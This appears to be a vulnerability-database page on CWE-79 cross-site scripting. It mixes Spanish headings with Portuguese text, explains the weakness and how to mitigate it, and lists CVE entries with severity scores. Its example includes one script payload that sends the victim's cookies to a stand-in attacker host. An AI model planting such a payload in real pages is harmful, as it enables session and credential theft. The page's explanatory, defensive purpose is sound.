Fallos del tipo CWE-79

29.969 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2023-5562MEDIUMUnsafe default allows for cross-site scripting attacks in KNIME Server and KNIME Business HubEPSS 0.4%CVE-2026-88804CRITICALUnauthenticated update of public UI settings leading to stored cross-site scripting in RancherEPSS 0.4%CVE-2024-40736MEDIUMA cross-site scripting (XSS) vulnerability in netbox v4.0.3 allows attackers to execute arbitrary web scripts or HTML via a crafted payload EPSS 0.4%CVE-2026-71233HIGHInvoiceNinja - Stored XSS via Invoice/Quote Terms FieldEPSS 0.4%CVE-2026-73428MEDIUMTrix: Stored XSS via HTMLParser attribute injection on pasteEPSS 0.4%CVE-2024-2347MEDIUMAstra <= 4.6.8 - Authenticated (Contributor+) Stored Cross-Site Scripting via Display NameEPSS 0.4%CVE-2024-4193MEDIUMTestimonial Slider <= 1.3.2 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.4%CVE-2024-9116MEDIUMMonkee-Boy Essentials <= 1.1 - Authenticated (Author+) Stored Cross-Site Scripting via SVG File UploadEPSS 0.4%CVE-2023-32597HIGHWordPress Video Gallery Plugin <= 1.0.10 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2024-46470MEDIUMCross Site Scripting vulnerability in CodeAstro Membership Management System 1.0 allows attackers to run malicious JavaScript via the memberEPSS 0.4%CVE-2024-38711HIGHWordPress Link Library plugin <= 7.7.1 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2023-26292MEDIUMImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Forcepoint Cloud Security Gateway (CSGEPSS 0.4%CVE-2022-44026HIGHAn issue was discovered in NetScout nGeniusONE 6.3.2 before P10. It allows Reflected Cross-Site Scripting (XSS), issue 3 of 6.EPSS 0.4%CVE-2026-88415HIGHMCMS 6.1.1 through 6.2.1 is vulnerable to stored Cross-Site Scripting (XSS). The article content field `contentDetails` is excluded from theEPSS 0.4%CVE-2024-2845MEDIUMBetterDocs – Best Documentation, FAQ & Knowledge Base Plugin with AI Support & Instant Answer For Elementor & Gutenberg <= 3.4.2 - Authenticated (Contributor+) Stored Cross-Site Scripting via ShortcodeEPSS 0.4%CVE-2022-44025MEDIUMAn issue was discovered in NetScout nGeniusONE 6.3.2 before P10. It allows Reflected Cross-Site Scripting (XSS), issue 2 of 6.EPSS 0.4%CVE-2024-47227MEDIUMiRedAdmin before 2.6 allows XSS, e.g., via order_name.EPSS 0.4%CVE-2024-4411MEDIUMMihdan: Yandex Turbo Feed <= 1.6.5.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via ShortcodeEPSS 0.4%CVE-2025-5303HIGHLTL Freight Quotes – Freightview Edition <= 1.0.11, LTL Freight Quotes – Daylight Edition <=2.2.6 and LTL Freight Quotes – Day & Ross Edition <= 2.1.10 - Unauthenticated Stored Cross-Site Scripting via `expiry_date` ParameterEPSS 0.4%CVE-2024-7918MEDIUMPocket Widget <= 0.1.3 - Admin+ Stored XSSEPSS 0.4%